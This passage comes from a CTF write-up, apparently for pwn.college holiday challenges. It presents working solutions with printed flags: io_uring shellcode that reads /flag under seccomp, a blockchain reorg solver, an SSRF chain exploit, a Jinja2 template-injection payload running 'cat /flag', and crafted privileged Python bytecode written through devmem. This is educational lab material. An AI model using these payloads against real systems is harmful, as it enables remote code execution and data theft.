(*cq_head)++;
int r = cqes[1].res;
printf("read: %d\n", r);
memset(&sqe, 0, sizeof(sqe));
*((__u8 *)(sqe_ptr + 0)) = 23; // IORING_OP_WRITE;
*((__s32 *)(sqe_ptr + 4)) = 1;
*((unsigned long *)(sqe_ptr + 16)) = (unsigned long)buf;
*((unsigned long *)(sqe_ptr + 24)) = r;
memcpy(&sqes[2], &sqe, sizeof(sqe));
(*sq_tail)++;
syscall(__NR_io_uring_enter, ring_fd, 1, 1, 1, NULL, 0);
(*cq_head)++;
return 0;
}
Which, although maybe not production-grade, it gets the flag:
ubuntu@practice~2025~day-05:~$ gcc io_uring_min.c -o io_uring
ubuntu@practice~2025~day-05:~$ sudo ./io_uring
fd: 4
read: 22
pwn.college{practice}
From this point onward it was straight-forward. I fed this to a couple of LLMs and quickly got a working shellcode, with comments for easier torubleshooting:
call get_pc /* Get PC for PIC base */
get_pc:
pop rbp /* rbp holds the base address */
sub rsp, 0x2000 /* Allocate and ALIGN RSP to a 4096-byte (0x1000) boundary */
mov r13, rsp
mov r12, 0xfffffffffffff000 /* 4096-byte alignment mask */
and r13, r12 /* r13 is now aligned RSP address (rings_stack) */
mov rsp, r13 /* Set aligned address as the new RSP */
mov r12, rsp /* r12 = rings_stack (CQ ring & internal data base) */
mov r13, rsp /* r13 = sqes_stack (SQE array base) */
add r13, 0x1000
mov r15, r13 /* r15 = address of buf (r13 + 0x100, scratch space) */
add r15, 0x100 /* Go past sqes[0..3] */
mov rdi, r12 /* Start at rings_stack (r12) */
mov rcx, 0x2000 /* Length = 8192 bytes */
xor rax, rax
rep stosb /* Clear rings_stack and sqes_stack */
mov r15, r13
add r15, 0x100 /* Point r15 to the scratch buffer */
mov rax, 0x00550067616c662f /* Setup path "/flag" */
mov qword ptr [r15], rax
mov r14, r15 /* r14 = address of "/flag" for OPENAT */
mov rdi, r12 /* Setup io_uring_params p on the stack */
sub rdi, 0x100 /* rdi = address of p */
mov rcx, 0x80
xor rax, rax
rep stosb /* memset(p, 0, 128) */
mov rsi, rdi /* rsi = &p */
mov dword ptr [rsi], 0x8 /* Set p.sq_entries = 8 (offset 0x0) */
mov dword ptr [rsi+4], 0x8 /* Set p.cq_entries = 8 (offset 0x4) */
mov dword ptr [rsi+8], 0x14000 /* Set p.flags = 0x14000 (offset 0x8) */
mov qword ptr [rsi+0x48], r13 /* Set p.sq_off.user_addr = sqes_stack (r13) (OFFSET: 0x48) */
mov qword ptr [rsi+0x70], r12 /* Set p.cq_off.user_addr = rings_stack (r12) (OFFSET: 0x70) */
mov rax, 425 /* __NR_io_uring_setup */
mov rdi, 8 /* sq_entries */
syscall /* rsi = &p */
mov ebx, eax /* ebx = ring_fd */
mov rcx, r13 /* rcx = sqes (sqes_stack) */
mov rdi, rcx /* rdi = address of sqes[0] */
mov byte ptr [rdi], 18 /* sqe.opcode = 18 */
mov dword ptr [rdi+4], 0xffffff9c /* sqe.fd = -100 */
mov qword ptr [rdi+0x10], r14 /* sqe.addr = r14 */
mov dword ptr [rdi+0x1c], 0 /* open_flags (O_RDONLY = 0) at offset 0x1c (28) */
mov r8, r12 /* r8 = rings_stack (Mapped Ring Base) */
add r8, 0x4 /* sq_off.tail offset (4) */
inc dword ptr [r8] /* Update sq_tail */
mov rax, 426 /* __NR_io_uring_enter */
mov rdi, rbx /* ring_fd */
mov rsi, 1
mov rdx, 1
mov r10, 1
mov r8, 0
mov r9, 0
syscall /* io_uring_enter(ring_fd, 1, 1, 1, NULL, 0) - Submit OPENAT */
mov rdx, r12 /* Get fd from cqe[0].res */
add rdx, 0x40 /* rdx = CQE array base */
mov esi, dword ptr [rdx + 0x8] /* esi = fd = cqe[0].res (offset 0x8) */
mov r8, r12 /* Update cq_head after OPENAT retrieval */
add r8, 0x8
inc dword ptr [r8]
mov rdi, r13 /* READ - Prepare sqe 1 */
add rdi, 0x40 /* rdi = address of sqes[1] */
mov byte ptr [rdi], 22 /* sqe.opcode = 22 (IORING_OP_READ) */
mov dword ptr [rdi+4], esi /* sqe.fd = esi (opened file descriptor) */
mov qword ptr [rdi+0x10], r15 /* sqe.addr = r15 (buf address) */
mov qword ptr [rdi+0x18], 100 /* sqe.len = 100 */
mov r8, r12 /* Update sq_tail for the second submission */
add r8, 0x4
inc dword ptr [r8]
mov rax, 426
mov rdi, rbx
mov rsi, 1
mov rdx, 1
mov r10, 1
mov r8, 0
mov r9, 0
syscall /* io_uring_enter(ring_fd, 1, 1, 1, NULL, 0) - Submit READ */
mov r8, r12 /* Get bytes read (r) from cqe[1].res */
add r8, 0x40 /* r8 = CQE array base */
add r8, 0x10 /* r8 points to start of cqe[1] */
mov r10d, dword ptr [r8 + 0x8] /* r10d = bytes read (cqes[1].res) */
mov r9, r12 /* Update cq_head after successful retrieval */
add r9, 0x8 /* r9 = cq_head address */
inc dword ptr [r9]
mov rdi, r13 /* WRITE - Prepare sqe 2 */
add rdi, 0x80 /* rdi = address of sqes[2] */
mov byte ptr [rdi], 23 /* sqe.opcode = 23 (IORING_OP_WRITE) */
mov dword ptr [rdi+4], 1 /* sqe.fd = 1 (stdout) */
mov qword ptr [rdi+0x10], r15 /* sqe.addr = r15 (buf address) */
mov dword ptr [rdi+0x18], r10d /* sqe.len = r10d (bytes read) */
mov r8, r12 /* Update sq_tail for the third submission */
add r8, 0x4
inc dword ptr [r8]
mov rax, 426
mov rdi, rbx
mov rsi, 1
mov rdx, 1
mov r10, 1
mov r8, 0
mov r9, 0
syscall /* io_uring_enter(ring_fd, 1, 1, 1, NULL, 0) - Submit WRITE */
mov r9, r12 /* Final cq_head update for WRITE result */
add r9, 0x8
inc dword ptr [r9]
xor edi, edi
mov rax, 60
syscall /* Exit cleanly */
I used a wrapper Python script to feed the shellcode to a pipe, to debug the challenge easier in GDB. Whew! Let’s get the flag:
$ /challenge/sleigh < ~/my_fifo_stdin
🛷 Loading cargo: please stow your sled at the front.
📜 Checking Santa's naughty list... twice!
pwn.college{practice}
$ python sleigh.py
Press ENTER to send shellcode payload to fifo...
Day 6 - Custom blockchain
This challenge has multiple files and a lot more code. There area children, elves, the North Pole (or Poole) and of course Santa. Not being very familiar with blockchains, I used an LLM to do a first pass through the entire code and get an overview about what’s happening. In retrospective, this was both good and bad. Good because I got a solution almost immediately, which solved about 85% of the puzzle, and bad because to solve the other 15% LLMs were going in circles, and I still had to go back and understand the logic well and figure out how to get the flag. Regardless, this is a very interesting challenge.
High-level architecture
There are four actors:
🎄 North Poole (north_poole.py) - A minimal blockchain node
- Maintains blocks, tx pool, balances
- Uses PoW (difficulty = 16 → 4 hex zeros)
- Tracks a “nice list” balance
- Longest-chain wins (highest index)
- No signatures on blocks (!)
🎅 Santa (santa.py)
- Scans the blockchain
- Looks for confirmed letters
- Only gifts children who are nice
- Responds with normal gifts, secret characters or the flag
🧝 Elves (elf.py)
- Honest miners
- Randomly add a child to the nice list
- Avoid adding the same child repeatedly
- Mine continuously
👶 Children (children.py)
- Children are children 😇
- Randomly send signed “Dear Santa” letters
- Ask for toys
- Their letters go into the
txpool
Blockchain rules
Proof-of-Work: A block is valid if
sha256(block_json).startswith("0000")
Longest chain wins: The best chain is the block with the highest index
def get_best_chain_block():
best_hash = None
best_index = -1
for blk_hash, blk in BLOCKS.items():
if blk["index"] > best_index:
best_index = blk["index"]
best_hash = blk_hash
return best_hash
Balance system: Everyone starts with balance 1 and each block may include a nice field
"nice": "<child_name>"
Which increases the person’s balance
balances[nice_person] += 1
Santa gives gifts only to nice children
balances[child] > 0
Anyone can mine a block and set nice = ANYONE. There is no signature, no authority check. The only limits are:
- max 10 times per identity per chain
- nice person cannot appear as
tx.srcin that same block
Santa’s confirmation logic
Santa only trusts letters in blocks that are:
chain[:-REQUIRED_CONFIRMATION_DEPTH]
Where REQUIRED_CONFIRMATION_DEPTH = 5. So:
- Letters must be 6 blocks deep
- Recent blocks are ignored
- This mimics Bitcoin-style confirmations
The secret and flag
At startup the pool script initialises a secret gift:
SECRET_GIFT = os.urandom(16).hex() # 32 hex chars
If a letter contains secret index #N Santa replies with SECRET_GIFT[N]. So we can exfiltrate the secret one character at a time. If a letter contains the entire secret string previously exfiltrated, Santa provides the flag:
if SECRET_GIFT in letter["letter"]:
gift_value = FLAG_GIFT
Plan
Inflate the nice balance to maximum (1 + 10) by mining 10 blocks and setting hacker as nice:
for _ in range(10):
mine_block(nice_person="hacker")
All the levels were very educative! Huge thanks to the authors.
Before moving on to the next step, remember a clean head before Santa gifts the secrets. It will be useful later:
clean_head = get_head()["hash"]
clean_index = get_head()["block"]["index"]
Request the 32 secret characters
for i in range(32):
n = send_letter(
f"Dear Santa,\n\nFor christmas this year I would like secret index #{i}"
)
nonce_map[n] = i
Confirm the letters by mining 6 additional blocks, so letters will be >=6 blocks deep and Santa will trust them
for _ in range(6):
mine_block()
time.sleep(1)
Collect the 32 characters of the secret by scanning the txpool and mapping the gifts to the nonce of the requests:
recovered = ["?"] * 32
got = 0
while got < 32:
txs = requests.get(f"{NORTH_POOLE}/txpool").json().get("txs", [])
cur = get_head()["hash"]
for _ in range(8):
blk = get_block(cur)
txs.extend(blk["txs"])
cur = blk["prev_hash"]
for tx in txs:
if tx.get("type") == "gift" and tx.get("dst") == MY_NAME:
req = tx["nonce"].replace("-gift", "")
if req in nonce_map:
idx = nonce_map[req]
if recovered[idx] == "?":
recovered[idx] = tx["gift"]
got += 1
print(
f"\rProgress: {''.join(recovered)} ({got}/32)",
end=""
)
time.sleep(2)
Fork the chain from the clean head saved before Santa gifted the secret characters, and continue to mine until the fork becomes the best chain. This is easy because the elves have a random delay after mining each block:
time.sleep(random.randint(10, 120))
A re-org will happen and the nice balance is kept. Without the fork the balance would have been negative (1 + 10 - 32 = -21) and we would be stuck.
Ask for the flag:
$ python solver.py
--- ⛏️ STEP 1: Mine nice balance buffer ---
[+] Mined block 4 | TXs=2 | Nice=hacker
[+] Mined block 5 | TXs=0 | Nice=hacker
[+] Mined block 6 | TXs=0 | Nice=hacker
[+] Mined block 7 | TXs=0 | Nice=hacker
[+] Mined block 8 | TXs=0 | Nice=hacker
[+] Mined block 9 | TXs=0 | Nice=hacker
[+] Mined block 10 | TXs=0 | Nice=hacker
[+] Mined block 11 | TXs=0 | Nice=hacker
[+] Mined block 12 | TXs=0 | Nice=hacker
[+] Mined block 13 | TXs=2 | Nice=hacker
--- 📧 STEP 2: Request 32 secret characters ---
--- ⛏️ STEP 3: Confirm letters ---
[+] Mined block 14 | TXs=33 | Nice=None
[+] Mined block 15 | TXs=1 | Nice=None
[+] Mined block 16 | TXs=0 | Nice=None
[+] Mined block 17 | TXs=0 | Nice=None
[+] Mined block 18 | TXs=0 | Nice=None
[+] Mined block 19 | TXs=0 | Nice=None
--- 🎁 STEP 4: Collect secrets ---
Progress: 34448de412c2c60bd2afb4a8c113c24c (32/32)
[+] Secret recovered: 34448de412c2c60bd2afb4a8c113c24c
--- 🌲 STEP 5: Mine fork until it becomes best ---
[+] Mined block 14 | TXs=0 | Nice=None
[i] Fork index=14, Head index=19
[+] Mined block 15 | TXs=0 | Nice=None
[i] Fork index=15, Head index=19
[+] Mined block 16 | TXs=0 | Nice=None
[i] Fork index=16, Head index=19
[+] Mined block 17 | TXs=0 | Nice=None
[i] Fork index=17, Head index=19
[+] Mined block 18 | TXs=0 | Nice=None
[i] Fork index=18, Head index=19
[+] Mined block 19 | TXs=0 | Nice=None
[i] Fork index=19, Head index=19
[+] Mined block 20 | TXs=0 | Nice=None
[i] Fork index=20, Head index=20
[✓] Fork is now the active best chain
[nice] after fork balances: {'alder': 2, 'ash': 1, 'aspen': 1, 'birch': 1, 'cedar': 2, 'cypress': 1, 'elm': 1, 'hacker': 10, 'hazel': 1, 'holly': 1, 'juniper': 1, 'laurel': 1, 'maple': 1, 'pine': 1, 'rowan': 1, 'santa': 2, 'spruce': 1, 'willow': 0}
[nice] after fork hacker balance: 10
--- 🎅 STEP 6: Request FLAG ---
--- 🎁 STEP 7: Waiting for FLAG gift ---
🏁 FLAG: 3
.....
🏁 FLAG: pwn.college{ohENUI7kBHILv-h1IFOZfDPnPzp.QX0ETOxIDLzQDMyQzW}
Day 7 - SSRFs chain
This challenge is a set of vulnerable web apps, interestingly nested like a Matryoshka doll.
{The Turkey 🦃}
A welcoming outer roast
A vulnerable Flask app running as root that accepts a hacker_image URL:
<form action="/check" method="POST">
<label for="hacker_name">Hacker Name:</label>
<input type="text" id="hacker_name" name="hacker_name" required>
<label for="hacker_image">Hacker Image URL (optional):</label>
<input type="text" id="hacker_image" name="hacker_image" placeholder="https://example.com/image.jpg">
<input type="submit" value="Check Naughty List">
</form>
And has a route /check which makes an outbound HTTP request using the requests.get() function:
@app.route('/check', methods=['POST'])
def check():
hacker_name = request.form.get('hacker_name', '')
hacker_image_url = request.form.get('hacker_image', '')
The outer layer also deobfuscates and executes the next layer:
if PAYLOAD:
decoded = base64.b64decode(PAYLOAD)
reversed_bytes = decoded[::-1]
unpacked = bytes(b ^ 0x42 for b in reversed_bytes)
subprocess.run(unpacked.decode(), shell=True)
{The Duck 🦆}
A warm, well-seasoned middle stuffing
The Duck is a bash script which first sets up a network namespace to act as a middleware, with IP addresses and iptables rules:
ip netns add middleware
ip link add veth-host type veth peer name veth-middleware
ip link set veth-middleware netns middleware
ip addr add 72.79.72.1/24 dev veth-host
ip link set veth-host up
ip netns exec middleware ip addr add 72.79.72.79/24 dev veth-middleware
ip netns exec middleware ip link set veth-middleware up
ip netns exec middleware ip route add default via 72.79.72.1
ip netns exec middleware ip link set lo up
iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -o veth-host -j REJECT
The script then sets up a Node.js middleware service running at 72.79.72.79:80, with its own SSRF vulnerability via the /fetch endpoint. This service acts as our internal pivot point into the Chicken.
const server = http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
if (parsedUrl.pathname === '/') {
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end('<h1>Welcome to the middleware service. We fetch things!</h1>');
} else if (parsedUrl.pathname === '/fetch') {
const targetUrl = parsedUrl.query.url;
if (!targetUrl) {
res.writeHead(400, { 'Content-Type': 'text/html' });
res.end('<h1>Missing url parameter</h1>');
return;
}
try {
const response = await fetch(targetUrl);
const content = await response.text();
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(content);
} catch (error) {
res.writeHead(500, { 'Content-Type': 'text/html' });
res.end(\`<h1>Error fetching URL: \${error.message}</h1>\`);
}
} else {
res.writeHead(404, { 'Content-Type': 'text/html' });
res.end('<h1>Not Found</h1>');
}
});
The middleware is executed in the previously created network namespace by piping this whole JavaScript code to cobol, which is in fact Node.js:
$ /usr/bin/cobol
Welcome to Node.js v20.19.6.
Type ".help" for more information.
The Duck also decodes and executes another payload:
const payload = 'a3IicG...';
if (payload) {
const decoded = Buffer.from(payload, 'base64');
const unpacked = Buffer.from(decoded.map(byte => (byte - 2 + 256) % 256));
execSync(unpacked.toString(), { stdio: 'inherit' });
}
The inner layer is easy to uncover with a few lines of Python:
import base64
payload = 'a3IicGd...'
decoded = base64.b64decode(payload)
output = "".join(["%c" % ((byte - 2 + 256) % 256) for byte in decoded])
print(output)
{The Chicked 🐔}
A a rich, indulgent core that ties the whole dish together
A simple Sinatra Ruby web app masquerading as PHP:
require 'sinatra'
set :environment, :production
set :bind, '88.77.65.83'
set :port, 80
get '/' do
\"<h1>Go away, you'll never find the flag</h1>\"
end
get '/flag' do
if params['xmas'] == 'hohoho-i-want-the-flag'
File.read('/flag')
else
\"<h1>that's not correct</h1>\"
end
end
The backend is executed in its own backend network namespace by piping the Ruby code to PHP:
echo "..." | ip netns exec backend /usr/bin/php - &
Which is in fact:
$ /usr/bin/php -v
ruby 3.2.3 (2024-01-18 revision 52bb2ac0a6) [x86_64-linux-gnu]
Tying everything together, this is the SSRF chain:
- Browser → Flask App (Running as aoot on the host)
- Flask App → Node.js Middleware (72.79.72.79/fetch)
- Node.js Middleware → Sinatra Flag Service (88.77.65.83/flag)
$ curl -X POST "http://10.32.165.59/check" \
-d "hacker_name=SSRF-Exploit" \
-d "hacker_image=http://72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag"
<!DOCTYPE html>
<html>
<head>
<title>Naughty List Result</title>
<style>
body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; }
h1 { color: #c41e3a; }
.result { margin-top: 30px; padding: 20px; border: 2px solid #c41e3a; border-radius: 5px; }
.naughty { background-color: #ffebee; }
.nice { background-color: #e8f5e9; }
img { max-width: 100%; margin-top: 20px; border: 1px solid #ccc; }
a { display: inline-block; margin-top: 20px; color: #c41e3a; }
</style>
</head>
<body>
<h1>Naughty List Result</h1>
<div class="result nice">
<h2>SSRF-Exploit</h2>
<p><strong>Status:</strong> NICE 😁</p>
<img src="" alt="Hacker Image">
</div>
<a href="/">🔙 Back to form</a>
</body>
</html>
$ ecHduLmNvbGxlZ2V7WTJDM1NzOV9qZlpGUnVRX2F6V21kOHNDalMyLlFYMUVUT3hJREx6UURNeVF6V30K | base64 -d
pwn.college{Y2C3Ss9_jfZFRuQ_azWmd8sCjS2.QX1ETOxIDLzQDMyQzW}
Day 8 - Jinja2 template
There are multiple pieces in this challenge and probably multiple solutions as well. Once we understand all the operations in Santa’s workshop, it’s not difficult to find a solution. At a high level:
- We can create toys based on 3 Jinja2 templates (
/create), which are actually C programs - Compile the toys (
/assemble/<toy_id>) viagcc -x c -O2 -pipe .. - And play with them (
/play<toy_id>)
Templates are similar, but the one I exploited is the Teddy Bear:
$ cat /challenge/templates/teddy.c.j2
/* Teddy Bear */
#include <stdio.h>
#include <string.h>
int main(void) {
char note[80];
setbuf(stdout, NULL);
puts("soft hug!");
printf("teddy keeps this secret: %s\n", "");
printf("share a feeling (%s):\n", "");
if (!fgets(note, sizeof(note), stdin)) return 0;
size_t len = strlen(note);
if (len > 0 && note[len - 1] == '\n') note[len - 1] = 0;
printf("teddy repeats back: %s\n", note);
printf("letters counted: %zu\n", strlen(note));
return 0;
}
When we create toys, we get the toy_id, useful later:
$ curl -s -X POST -H "Content-Type: application/json" -d '{"template":"teddy.c.j2"}' http://127.0.0.1/create
{"toy_id":"e27d0ccb7a29fdac"}
For thinkering there are two options, we can either replace parts of the template or render it. Both operations are juicy! My approach was to insert a flag-leaking Python payload in one of the payloads, render it (making sure the result C code remains valid) then assemble and execute.
request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read().strip()
Step 1 - Create a toy
$ curl -s -X POST -H "Content-Type: application/json" -d '{"template":"teddy.c.j2"}' http://127.0.0.1/create
{"toy_id":"fe371ffc9ce21bd9"}
Step 2 - Insert the payload
The trickiest part here was to work around the multiple levels of quoted strings inside quoted strings inside quoted strings. But with some experimentation, here’s the working payload:
$ curl -X POST -H "Content-Type: application/json" -d "{\"op\":\"replace\",\"index\":192,\"length\":1000,\"content\":\"request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read().strip()}}\\\");}\"}" http://127.0.0.1/tinker/fe371ffc9ce21bd9
{"status":"tinkered"}
Step 3 - Render the payload
When we render the payload we don’t need anything in the context, so w can just use a dummy variable:
$ curl -s -X POST -H "Content-Type: application/json" -d '{ "op": "render", "context": { "bubu": "dummy" } }' http://127.0.0.1/tinker/fe371ffc9ce21bd9
{"status":"tinkered"}
In practice mode, at this stage we can verify the template has been rendered as expected:
$ sudo cat /run/workshop/tinkering/0841ce1d1a8a65f9142138a1b7e2be07682ac46c5d7bb876e258c5b2b3a2d352
/* Teddy Bear */
#include <stdio.h>
#include <string.h>
int main(void) {
char note[80];
setbuf(stdout, NULL);
puts("soft hug!");
printf("teddy keeps this secret: %s\n", "pwn.college{practice}");}
Step 4 - Assemble the toy
$ curl -s -X POST -H "Content-Type: application/json" http://127.0.0.1/assemble/fe371ffc9ce21bd9
{"status":"assembled"}
Step 5 - Play!
Play with the toy, which runs the compiled binary, which includes the flag rendered in the previous step:
$ curl -s -X POST -H "Content-Type: application/json" -d '{"stdin":"hello"}' http://127.0.0.1/play/fe371ffc9ce21bd9
{"returncode":0,"stderr":"","stdout":"soft hug!\nteddy keeps this secret: pwn.college{practice}\n"}
Day 9 - Custom Python bytecode processing unit
This year, Santa decided you’ve been especially good and left you a shiny new Python Processing Unit (pypu) — a mysterious PCIe accelerator built to finally quiet all the elves who won’t stop grumbling that “Python is slow” 🐍💨. This festive silicon snack happily devours .pyc bytecode at hardware speed… but Santa forgot to include any userspace tools, drivers, or documentation for how to actually use it. 🎁 All you’ve got is a bare MMIO interface, a device that will execute whatever .pyc you can wrangle together, and the hope that you can coax this strange gift into revealing an extra gift. Time to poke, prod, reverse-engineer, and see what surprises your new holiday hardware is hiding under the tree. 🎄✨
This time the description for the challenge is quite useful to get an idea about what’s hapening. We have the source code for this mysterious device, and it’s loaded into QEMU by this run.sh script:
#!/usr/bin/exec-suid -- /bin/bash -p
set -euo pipefail
PATH="/challenge/runtime/qemu/bin:$PATH"
qemu-system-x86_64 \
-machine q35 \
-cpu qemu64 \
-m 512M \
-nographic \
-no-reboot \
-kernel /challenge/runtime/bzImage \
-initrd /challenge/runtime/rootfs.cpio.gz \
-append "console=ttyS0 quiet panic=-1" \
-device pypu-pci \
-serial stdio \
-monitor none
Understanding the challenge
We’re dealing with a custom virtual hardware device called pypu-pci (Python Processing Unit). The content of /flag from the host machine is read into the PypuPCIState->flag buffer. The challenge is to read this buffer from the guest VM. The device is essentially a Python bytecode interpreter that runs code provided by the guest OS:
- The guest OS writes Python bytecode (
.pyc) into thestate->codebuffer (via MMIO writes to addresses starting at0x100). - The guest OS sets the length of the code (
state->code_len). - The guest OS triggers execution by writing to the special register at address
0x0c(which incrementsstate->greet_count). - The code is executed in a separate thread (
python_workerfunction), which callsexecute_python_code).
The gifts module is added to sys.modules. This module contains the object holding the flag:
PyObject *flag_val = PyUnicode_FromString(state->flag);
if (PyModule_AddObject(gifts_module, "flag", flag_val) < 0) { ... }
If we are privileged, we can import gifts and access gifts.flag.
Interacting with the device
We know it’s a PCI device so let’s identify it:
# lspci
00:1f.2 Class 0106: 8086:2922
00:1f.0 Class 0601: 8086:2918
00:01.0 Class 0300: 1234:1111
00:1f.3 Class 0c05: 8086:2930
00:00.0 Class 0600: 8086:29c0
00:03.0 Class 00ff: 1337:1225
00:02.0 Class 0200: 8086:10d3
The output from lspci confirms the location of the custom device (notice the 1337 - l33t, and 1225 - xmas markers):
00:03.0 Class 00ff: 1337:1225
Bus Address: 00:03.0 (Bus 0, Device 3, Function 0).
This exactly matches the values set in src/pypu-pci.c:
pci_config_set_vendor_id(pdev->config, 0x1337);
pci_config_set_device_id(pdev->config, 0x1225);
Find out the Base BAR (Address Registers) addresses:
$ cat /sys/bus/pci/devices/0000:00:03.0/resource
0x00000000febd5000 0x00000000febd5fff 0x0000000000040200
0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
0x00000000febd7000 0x00000000febd7fff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
And finally veirfy that we can read from it successfuly:
$ devmem 0xfebd5000 32
0x50595055 (ASCII for "PYPU")
Which matches the logic from the pypu-pci.c source file:
static uint64_t pypu_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
PypuPCIState *state = opaque;
if (addr == 0x00 && size == 4) {
return 0x50595055ull; /* "PYPU" */
}
[..]
According to the source code, the challenge expects Python 3.13 bytecode (as proven by the 0xf30d0d0a value below), and Santa was nice enough to include a couple of examples on the guest VM too:
# ls -al pypu_programs/
total 8
drwxr-xr-x 2 0 0 80 Dec 8 23:53 .
drwxr-xr-x 11 0 0 280 Dec 17 22:25 ..
-rw-r--r-- 1 0 0 261 Dec 8 23:53 giftless.pyc
-rw-r--r-- 1 0 0 177 Dec 8 23:53 privileged_peek_gift.pyc
# cat /pypu_programs/privileged_peek_gift.pyc | xxd -g 1
00000000: f3 0d 0d 0a 03 00 00 00 d3 9d bc 75 1a 10 a0 f0 ...........u....
00000010: e3 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 ................
00000020: 00 00 00 00 00 f3 1c 00 00 00 95 00 53 00 53 01 ............S.S.
00000030: 4b 00 72 00 5c 01 22 00 5c 00 35 01 00 00 00 00 K.r.\.".\.5.....
00000040: 00 00 20 00 67 01 29 02 e9 00 00 00 00 4e 29 02 .. .g.)......N).
00000050: da 05 67 69 66 74 73 da 05 70 72 69 6e 74 a9 00 ..gifts..print..
00000060: f3 00 00 00 00 da 1e 2f 62 75 69 6c 64 2f 70 72 ......./build/pr
00000070: 69 76 69 6c 65 67 65 64 5f 70 65 65 6b 5f 67 69 ivileged_peek_gi
00000080: 66 74 2e 70 79 da 08 3c 6d 6f 64 75 6c 65 3e 72 ft.py..<module>r
00000090: 08 00 00 00 01 00 00 00 73 0f 00 00 00 f0 03 01 ........s.......
000000a0: 01 01 db 00 0c d9 00 05 80 65 85 0c 72 06 00 00 .........e..r...
000000b0: 00
Get the flag
To get the flag we need to understand a couple of things:
- How to construct a
.pycpayload accepted by the challenge - How to write to the PCI device
- How to read from the PCI device
- Overcome any additional surprises along the way
Since I didn’t find the Python 3.13 binary quickly on the VM, I generated a payload to import the gifts module and print the flag locally:
import struct
import base64
import marshal
import binascii
import importlib.util
# Grab the magic number of the current interpreter (Must be 3.13!)
magic_number = importlib.util.MAGIC_NUMBER
print("[*] Magic number: ", binascii.hexlify(magic_number))
# Pack the privileged hash (from pypu-privileged.h)
PYPU_PRIVILEGED_HASH = 0xf0a0101a75bc9dd3
privileged_hash = struct.pack("<Q", PYPU_PRIVILEGED_HASH)
# Exploit code
code_str = "import gifts; print(f'FOUND_FLAG: {gifts.flag}')"
code_obj = compile(code_str, "<string>", "exec")
marshalled_code = marshal.dumps(code_obj)
# [Magic (4b)] + [Flags (4b)] + [Hash (8b)] + [Bytecode (var)]
payload = magic_number + b"\x00\x00\x00\x00" + privileged_hash + marshalled_code
# Output the results for the Guest VM
b64_payload = base64.b64encode(payload).decode()
size = len(payload)
print(f"[*] Payload Size: {size}")
print(f"[*] Base64 payload:\n{b64_payload}")
Then transferred it to the guest VM:
~ python3 pypu-payload.py
[*] Magic number: b'f30d0d0a'
[*] Payload Size: 212
[*] Base64 payload:
8w0NCgAAAADTnbx1GhCg8OMAAAAAAAAAAAAAAAAEAAAAAAAAAPM2AAAAlQBTAFMBSwByAFwBIgBTAlwAUgQAAAAAAAAAAAAAAAAAAAAAAAAOADMCNQEAAAAAAAAgAGcBKQPpAAAAAE56DEZPVU5EX0ZMQUc6ICkD2gVnaWZ0c9oFcHJpbnTaBGZsYWepAPMAAAAA2gg8c3RyaW5nPtoIPG1vZHVsZT5yCQAAAAEAAABzGgAAAPADAQEB2wAMiWWQbKA1pzqhOqAs0BQv1Q4wcgcAAAA=
# echo '8w0NCgAAAADTnbx1...AA=' | base64 -d > p.bin
To write the payload to the PCI device I used the following bash script that writes one byte at a time (all other attempts to write in bigger chunks failed!):
# File containining the Python bytecode
FILE="p.bin"
BASE_ADDR=0xfebd5100 # BAR0 + 0x100
# Convert p.bin to a list of hex bytes and write them one by one
i=0
for byte in $(od -An -t x1 -v "$FILE"); do
# Use devmem in 8-bit mode
devmem $((BASE_ADDR + i)) 8 "0x$byte"
i=$((i + 1))
done
And to read its output (both stdout and stderr):
#!/bin/sh
# BAR Addresses
STDOUT_BAR=0xfebd6000
STDERR_BAR=0xfebd7000
read_bar() {
local base=$1
local name=$2
printf "[*] Reading %s\n" "$name"
for i in $(seq 0 255); do
# Get the hex value (e.g., 0x41)
val=$(devmem $((base + i)) 8)
# Stop if we hit a null byte (end of string)
if [ "$val" = "0x00" ]; then
break
fi
# Convert hex to octal for printf
octal_val=$(printf '%o' "$val")
printf "\\$octal_val"
done
printf "\n\n"
}
# Execute reads
read_bar $STDOUT_BAR "STDOUT (BAR 1)"
read_bar $STDERR_BAR "STDERR (BAR 2)"
To trigger the execution of the payload, we need to set the exact length of the payload and trigger the Python worker thread:
# vi pypu-write.sh
# chmod +x pypu-write.sh
# vi pypu-read.sh
# chmod +x pypu-read.sh
# Write the payload
# ./pypu-write.sh
# Set the exact length of the bytecode
~ # devmem 0xfebd5010 32 212
# Triger the execution
# devmem 0xfebd500c 32 1
# Read stdout/stderr
# ./pypu-read.sh
[*] Reading STDOUT (BAR 1)
FOUND_FLAG: pwn.college{g67jNvYwczJ3iXJDI8KMmPyi2Ha.QX4UTMyIDLzQDMyQzW}
[*] Reading STDERR (BAR 2)
Day 10 - Unix domain sockets fd passing
Another very interesting seccomp challenge with a short source code:
#include <errno.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#define SANTA_FREQ_ADDR (void *)0x1225000
int setup_sandbox()
{
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (!ctx) {
perror("seccomp_init");
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) < 0 ||
